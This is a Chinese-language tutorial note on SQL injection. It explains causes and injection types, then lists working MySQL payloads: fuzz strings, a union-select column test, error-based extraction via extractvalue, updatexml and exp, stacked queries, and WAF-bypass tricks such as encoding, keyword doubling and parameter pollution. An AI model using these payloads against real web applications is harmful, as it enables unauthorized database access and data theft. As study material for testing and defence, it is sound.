SQL注入简述

以下内容仅供参考,帮SQL注入助作者自己梳理

初识SQL注入

SQL注入的产生原因

由于web应用程序对用户输入数据没有经过严格的判断和过滤,用户可以自由输入参数,当用户输入恶意的SQL语句,通过后端代码带入到mysql中进行查询,将结果返回前端。

SQL注入的条件

1、用户可以控制从前端输入到后端的参数内容

2、用户输入的参数,可以被带到数据库,进行SQL语句查询。

SQL注入的分类

按技巧分类:

1、盲注:

(1)布尔盲注:只能从应用返回中推断语句执行后的布尔值(true or false)

(2)时间盲注:应用没有明确的回显,只能使用时间延迟来判断

2、报错注入:利用报错信息输出数据

3、堆叠注入:通过;一次执行多条语句

4、联合查询

SQL注入检测

常见注入点

GET、POST、X-Forwarded-For、文件名

Fuzz注入点

' /  "

1/1

1/0

and 1=1

" and "1"="1

and 1=2

or 1=1

or 1=

' and '1'='1

+ - ^ * % /

!

@

测试列数

?id=1' union select 1,2,3--+

报错注入

select 1/0

select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from infromation_schema.tables group by x)a

extractvalue(1,concat(0x7e,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash(select * from(select * from(select user())a)b)

GTID_SUBSET(version(),1)

注意:基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效

堆叠注入

;select 1

注释符

#

--+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

SQL注入提权

UDF提权(单独写文章解释)

SQL注入绕过技巧

编码绕过

大小写、URL编码、html编码、十六进制编码、unicode编码

注释符

//

--

--+

-- -

#

/**/

;%00

内联注释用的更多,它有一个特性/!**/只有MySQL能识别

只过滤了一次

union---->ununionion

相同功能替换

函数替换

substring/mid/sub

ascii/hex/bin

sleep/benchmark

变量替换

user()/@@user

符号和关键字

and / &

or / |

HTTP参数污染

id=1&id=2&id=3

缓冲区溢出

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值